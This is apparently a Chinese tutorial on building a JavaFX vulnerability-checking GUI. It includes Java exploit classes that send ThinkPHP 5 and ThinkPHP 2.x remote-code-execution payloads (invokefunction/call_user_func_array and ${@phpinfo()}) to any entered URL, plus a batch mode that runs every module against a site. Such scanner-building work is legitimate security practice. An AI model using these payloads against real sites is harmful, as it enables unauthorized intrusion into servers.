目录
一,JAVAFX-GUI单个漏洞检测编写
1.1 绑定事件
1.2 Thinkphp5_Rce编写
1.3 编写利用类
1.4 Thinkphp2x_Rce编写
1.5 单个漏洞检测GUI工具完整代码
二,JAVAFX-GUI单个漏洞批量检测编写
2.1 编写利用反射类
2.2 批量检测漏洞完整GUI工具代码
三,JAVAFX-GUI打包为jar包
3.1.第一步打包jar
3.2.工件处
3.3 主类选择如图所示
3.4 本机使用配置
3.5 便捷使用创建bat文件
一,JAVAFX-GUI单个漏洞检测编写
1.1 绑定事件
布局上有两个按钮 分别的功能是 单个模块检测和多个模块检测。
单个模块检测
首选介绍单个模块检测
单个模块的检测是 按钮检测的时 获取选择框的值 调用对应的对应的模块进行检测。-先择框选择的时候 绑定事件
需要---绑定下拉框和----按钮事件,获取----输入框的url信息和---返回响应结果设置到文本域框中
1.2 Thinkphp5_Rce编写
// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {
// System.out.println("点击");
// System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);String res = thinkphp5Rce.exploit();// System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);}}}).start();
});
1.3 编写利用类
package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp5_Rce {private String url;public Thinkphp5_Rce() {}public Thinkphp5_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=index/thinklapp/invokefunction&function=call user func_array&vars[0]=md5&vars[1][=1";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("c4ca4238a0b923820dcc509a6f75849b")){return this.url + "存在Thinkphp5_Rce漏洞:\n 漏洞检测代码:" + payload;}else{return "Thinkphp5_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "访问异常";}}}
1.4 Thinkphp2x_Rce编写
package com.exp.exploit;import com.github.kevinsawicki.http.HttpRequest;public class Thinkphp2x_Rce {private String url;public Thinkphp2x_Rce() {}public Thinkphp2x_Rce(String url) {this.url = url;}public String exploit(){String payload = "/?s=/E/D/I/${@phpinfo()}";try{HttpRequest request = HttpRequest.get(this.url + payload, true);String content = request.body();if (content.contains("phpinfo")){return this.url + " " + "存在Thinkphp2x_Rce漏洞:\n 漏洞检测代码:" + " " + this.url + payload;}else{return "Thinkphp2x_Rce漏洞 不存在";}} catch (Exception e) {e.printStackTrace();return "访问异常";}}}
1.5 单个漏洞检测GUI工具完整代码
package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;public class JavaFxMain extends Application {public static void main(String[] args) {//默认有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//设置舞台的标题stage.setTitle("漏洞检测工具");//禁止放大,无法点击最大化按钮stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//设置控件Label UrlLabel = new Label("网址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//设置文本框的默认值setText 设置提示setPromptTexttextField.setPromptText("请输入网址:");//设置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//设置默认值choiceBox.setValue("Thinkphp5_Rce");//设置按钮Button BtnCheck = new Button("单个检测");Button BtnBatch = new Button("批量检测");//设置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回结果信息........");//设置下拉属性textArea.setWrapText(true);textArea.setPrefHeight(300);//设置控件的位置//设置网址标签的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//设置信息标签的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//设置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//设置文本框的宽度textField.setPrefWidth(260);//选择框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//设置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//设置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//设置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是单个控件 addAll 是多个控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//设置场景 以及场景的大小Scene scene = new Scene(anchorPane, 700, 400);stage.setScene(scene);stage.show();// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {
// System.out.println("点击");
// System.out.println(tmp[0]);String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//调用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});}}
二,JAVAFX-GUI单个漏洞批量检测编写
获取下拉框中的所有值,通过值,通过反射获取对应的exp类,通过反射设置url的值,通过值来进行调用,注意,下拉框的值要与类名一致.
2.1 编写利用反射类
//批量检测//按钮点击事件BtnBatch.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号Class clazz = Class.forName("com.exp.exploit." + item);// 反射的类含有无参构造Object o = clazz.newInstance();//修改反射的类的urlField fieldUrl = clazz.getDeclaredField("url");//设置权限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});
2.2 批量检测漏洞完整GUI工具代码
package com.exp;import com.exp.exploit.Thinkphp2x_Rce;
import com.exp.exploit.Thinkphp5_Rce;
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.collections.ObservableList;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;public class JavaFxMain extends Application {public static void main(String[] args) {//默认有的方法launch();}@Overridepublic void start(Stage stage) throws Exception {//设置舞台的标题stage.setTitle("漏洞检测工具");//禁止放大,无法点击最大化按钮stage.setResizable(false);//布局控件AnchorPane anchorPane = new AnchorPane();//设置控件Label UrlLabel = new Label("网址:");Label MsgLabel = new Label("信息:");//文本框TextField textField = new TextField();//设置文本框的默认值setText 设置提示setPromptTexttextField.setPromptText("请输入网址:");//设置下拉框String []pocs = {"Thinkphp5_Rce","Thinkphp2x_Rce",};ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(pocs));//设置默认值choiceBox.setValue("Thinkphp5_Rce");//设置按钮Button BtnCheck = new Button("单个检测");Button BtnBatch = new Button("批量检测");//设置文本域TextArea textArea = new TextArea();textArea.setPromptText("返回结果信息........");//设置下拉属性textArea.setWrapText(true);textArea.setPrefHeight(300);//设置控件的位置//设置网址标签的位置UrlLabel.setLayoutX(20);UrlLabel.setLayoutY(13);//设置信息标签的位置MsgLabel.setLayoutX(20);MsgLabel.setLayoutY(50);//设置文本框位置textField.setLayoutX(70);textField.setLayoutY(10);//设置文本框的宽度textField.setPrefWidth(260);//选择框choiceBox.setLayoutX(340);choiceBox.setLayoutY(10);//设置button1的位置BtnCheck.setLayoutX(480);BtnCheck.setLayoutY(10);//设置button2的位置BtnBatch.setLayoutX(550);BtnBatch.setLayoutY(10);//设置文本域的位置textArea.setLayoutX(70);textArea.setLayoutY(50);//add 是单个控件 addAll 是多个控件anchorPane.getChildren().addAll(UrlLabel,MsgLabel,textField,choiceBox,BtnCheck,BtnBatch,textArea);//设置场景 以及场景的大小Scene scene = new Scene(anchorPane, 650, 400);stage.setScene(scene);stage.show();// 没有选择过的话,会出现null,因此设置初始值final String[] tmp = {"Thinkphp5_Rce"};//绑定事件// 下拉框选择事件 设置类型为字符串类型,因为上面选择框内选择的为字符类型choiceBox.getSelectionModel().selectedItemProperty().addListener(new ChangeListener<String>() {@Overridepublic void changed(ObservableValue observableValue, String oldValue, String newValue) {//存储选择的值,在类里面创建另一个无法获取,因此在外面创建tmp[0] = newValue;}});//按钮点击事件BtnCheck.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();if (tmp[0].equalsIgnoreCase("Thinkphp5_Rce")){Thinkphp5_Rce thinkphp5Rce = new Thinkphp5_Rce(url);//调用exp方法String res = thinkphp5Rce.exploit();//System.out.println(res);// 将响应信息设置到文本域框中textArea.setText(res);} else if (tmp[0].equalsIgnoreCase("Thinkphp2x_Rce")) {Thinkphp2x_Rce thinkphp2xRce = new Thinkphp2x_Rce(url);String res = thinkphp2xRce.exploit();textArea.setText(res);}}}).start();});//批量检测//按钮点击事件BtnBatch.setOnAction(e->{//为了避免直接打印的卡顿,通过调用进程来实现new Thread(new Runnable() {@Overridepublic void run() {String url = textField.getText();ObservableList<String> AllItems = choiceBox.getItems();for (String item : AllItems) {try {//获取反射的类,这里需要注意这个com.exp.exploit后面的. 号Class clazz = Class.forName("com.exp.exploit." + item);// 反射的类含有无参构造Object o = clazz.newInstance();//修改反射的类的urlField fieldUrl = clazz.getDeclaredField("url");//设置权限fieldUrl.setAccessible(true);fieldUrl.set(o, url);Method methodExploit = clazz.getMethod("exploit");String res = (String) methodExploit.invoke(o);//先获取文本域中的内容,然后追加到文本域中(直接设置会出现覆盖情况)String text = textArea.getText().trim();textArea.setText(text + "\n" + res);
// System.out.println(res);} catch (ClassNotFoundException ex) {throw new RuntimeException(ex);} catch (InstantiationException ex) {throw new RuntimeException(ex);} catch (IllegalAccessException ex) {throw new RuntimeException(ex);} catch (NoSuchFieldException ex) {throw new RuntimeException(ex);} catch (NoSuchMethodException ex) {throw new RuntimeException(ex);} catch (InvocationTargetException ex) {throw new RuntimeException(ex);}}}}).start();});}}
三,JAVAFX-GUI打包为jar包
3.1.第一步打包jar
在设置处打开项目结构
3.2.工件处
3.3 主类选择如图所示
如图所示的路径不要错,也不要改,不然会出现问题
点击确定完成后
选择应用-→点击确定,然后再IDEA的最上面选择构建工件
选择构建
输出的工件如图所示:在out中,然后就可以拿来使用了
3.4 本机使用配置
此时将构建好的jar包,复制到桌面发现打不开,或者出现打开后文件大小存在错误,这是因为构建工件时,使用的还是系统内置的环境,需要做下面的配置,注意其中-path后的路径替换为自己本机的包的目录,下面同理
java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar
使用时需要在17.0.10 bin环境下使用
java -version
然后就会打开如下的工具界面
3.5 便捷使用创建bat文件
C:\Users\86199\.jdks\corretto-17.0.10\bin\java -jar --module-path "D:\javafx-sdk-17.0.13\lib" --add-modules javafx.controls,javafx.fxml C:\Users\86199\Desktop\javaFxTools.jar前面是jdk17的bin环境路径 使用的时候只要双击bat文件即可
测试能不能正常使用,发现可以正常使用